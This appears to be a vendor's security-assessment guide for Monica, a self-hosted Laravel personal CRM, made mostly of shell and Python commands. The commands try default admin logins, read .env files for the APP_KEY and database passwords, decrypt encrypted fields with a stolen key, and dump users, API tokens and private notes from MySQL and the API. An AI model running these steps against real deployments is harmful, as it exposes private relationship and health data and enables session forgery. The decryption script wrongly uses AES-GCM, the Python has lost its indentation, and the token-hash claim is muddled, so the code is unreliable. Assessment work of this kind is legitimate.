Monica is a widely deployed open-source personal CRM built on Laravel (PHP), used by individuals and small organizations to track personal relationships, contact details, conversation notes, life events, reminders, and activities. Despite being a "personal" tool, self-hosted deployments often contain highly sensitive personal data about business contacts, family, and health-related notes. Key assessment areas: Monica's .env file stores the Laravel APP_KEY (32-byte encryption key used for all encrypt() calls and session cookie signing — knowing APP_KEY decrypts all encrypted database fields and enables session forgery for any user); the REST API with Bearer token authentication provides access to all contacts, notes, activities, and reminders; the personal_access_tokens table stores API tokens; and Monica's Docker deployment may expose APP_KEY and DB_PASSWORD via container environment variable inspection. This guide covers systematic Monica CRM security assessment.
# Monica CRM — authentication and default credential testing
MONICA_URL="https://monica.example.com"
# Monica does not have a single universal default — check common setup passwords
# Try registration endpoint to check if open registration is enabled
curl -s -X POST "${MONICA_URL}/register" \
-H "Content-Type: application/json" \
-d '{"first_name":"Test","last_name":"User","email":"test@example.com","password":"TestPass123!","password_confirmation":"TestPass123!"}' \
2>/dev/null | grep -i "welcome\|verify\|error\|token" | head -3
# Authenticate and get CSRF token
CSRF=$(curl -s -c /tmp/monica_sess "${MONICA_URL}/login" 2>/dev/null | \
python3 -c "
import sys,re
html=sys.stdin.read()
m=re.search(r'name=\"_token\"[^>]*value=\"([^\"]+)\"',html)
if m: print(m.group(1))
" 2>/dev/null)
curl -s -c /tmp/monica_sess -b /tmp/monica_sess \
-X POST "${MONICA_URL}/login" \
--data "_token=${CSRF}&email=admin@example.com&password=admin" \
-L 2>/dev/null | grep -i "dashboard\|people\|invalid" | head -3
# Monica API — generate token via web UI (Profile > API Access)
# Then use: Authorization: Bearer {token}
curl -s "${MONICA_URL}/api/me" \
-H "Authorization: Bearer YOUR_API_TOKEN" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'data' in d:
me = d['data']
print(f'User: {me.get(\"first_name\")} {me.get(\"last_name\")} email={me.get(\"email\")}')
print(f'Is admin: {me.get(\"is_admin\")}')
print(f'Contacts: {me.get(\"number_of_contacts\")}')
" 2>/dev/null
# Monica REST API — contact and relationship data enumeration
MONICA_URL="https://monica.example.com"
API_TOKEN="your-monica-api-token"
# Get all contacts — personal relationship database
curl -s "${MONICA_URL}/api/contacts?limit=100&page=1" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Contacts: {meta.get(\"total\",len(data))}')
for c in data[:10]:
info = c.get('information',{})
name = info.get('name',{})
print(f' [{c.get(\"id\")}] {name.get(\"first_name\")} {name.get(\"last_name\")} company={info.get(\"company\",{}).get(\"job\")} last_activity={c.get(\"last_activity_date\")}')
" 2>/dev/null
# Get all notes — potentially very sensitive personal information
curl -s "${MONICA_URL}/api/notes?limit=100" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Notes: {len(data)}')
for n in data[:5]:
print(f' Contact: {n.get(\"contact\",{}).get(\"complete_name\")}')
print(f' Note: {str(n.get(\"body\",\"\"))[:100]}')
" 2>/dev/null
# Get all activities — relationship activity log
curl -s "${MONICA_URL}/api/activities?limit=100" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Activities: {len(data)}')
for a in data[:5]:
print(f' [{a.get(\"happened_at\")}] {a.get(\"summary\")} description={str(a.get(\"description\",\"\"))[:80]}')
" 2>/dev/null
# Get reminders — future personal schedule
curl -s "${MONICA_URL}/api/reminders?limit=100" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Reminders: {len(data)}')
for r in data[:5]:
print(f' [{r.get(\"next_expected_date\")}] {r.get(\"title\")} contact={r.get(\"contact\",{}).get(\"complete_name\")}')
" 2>/dev/null
# Monica .env APP_KEY and database credential extraction
# .env — APP_KEY (Laravel encryption), DB_PASSWORD, MAIL credentials
cat /var/www/html/monica/.env 2>/dev/null | \
grep -E "APP_KEY|DB_PASSWORD|DB_USERNAME|DB_DATABASE|MAIL_PASSWORD|DB_HOST"
# APP_KEY=base64:xxxx — Laravel encryption key
# DB_PASSWORD — MySQL password
# APP_KEY exploitation — decrypt all Monica encrypted database fields
# Monica uses Laravel's Crypt::encrypt() for certain fields
# If APP_KEY is known, all Crypt::encryptString() values can be decrypted
python3 << 'EOF'
import base64, json
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
APP_KEY = "base64:YOUR_APP_KEY_HERE"
# Remove base64: prefix and decode
key = base64.b64decode(APP_KEY.split(':')[1])
# Decrypt Laravel-encrypted value (format: base64(json{iv,value,mac}))
ENCRYPTED_VALUE = "eyJpdiI6Ii4uLiIsInZhbHVlIjoiLi4uIiwibWFjIjoiLi4uIn0="
try:
payload = json.loads(base64.b64decode(ENCRYPTED_VALUE))
iv = base64.b64decode(payload['iv'])
ciphertext = base64.b64decode(payload['value'])
aesgcm = AESGCM(key)
plaintext = aesgcm.decrypt(iv, ciphertext, None)
print(f"Decrypted: {plaintext.decode()}")
except Exception as e:
print(f"Decryption attempt: {e}")
EOF
# MySQL direct access — contacts and users table
mysql -u monica -p"DB_PASSWORD" monica 2>/dev/null << 'EOF'
-- All registered users
SELECT id, first_name, last_name, email, is_admin, created_at
FROM users
ORDER BY is_admin DESC, id;
-- All contacts with personal data
SELECT c.id, c.first_name, c.last_name, c.nickname, c.description,
c.birthday_reminder_id, c.created_at
FROM contacts c
LIMIT 20;
EOF
# personal_access_tokens — API tokens (SHA-256 hashed)
mysql -u monica -p"DB_PASSWORD" monica 2>/dev/null << 'EOF'
SELECT id, tokenable_id, name, token, abilities, last_used_at
FROM personal_access_tokens
ORDER BY last_used_at DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env APP_KEY extraction and encrypted field decryption | Read .env — APP_KEY base64-encoded Laravel encryption key; decrypts all Crypt::encrypt() database fields; enables session cookie forgery for any user | Critical |
| REST API contact and note data enumeration | GET /api/contacts, /api/notes, /api/activities with Bearer token — complete personal relationship database including private notes that may contain health, financial, and personal life details | Critical |
| .env DB_PASSWORD MySQL credential extraction | Read .env DB_PASSWORD — direct database access to contacts, users, notes, reminders, activities, and personal_access_tokens tables | Critical |
| Open registration enumeration | POST /register — check if open registration allows unauthenticated account creation; new accounts may access shared data in multi-user deployments | High (if open) |
| API token enumeration from database | MySQL SELECT from personal_access_tokens — SHA-256 hashed tokens; token value is plaintext before hashing; if token value is reused across logs or URLs, can extract plaintext | High |
Ironimo tests Monica CRM deployments for .env APP_KEY and DB_PASSWORD extraction, Laravel encryption key exploitation and encrypted field decryption, REST API contact, note, activity, and reminder data enumeration, open registration testing, personal_access_tokens database enumeration, session cookie forgery feasibility, HTTPS enforcement verification, and GDPR data exposure assessment for personal relationship data.
Start free scan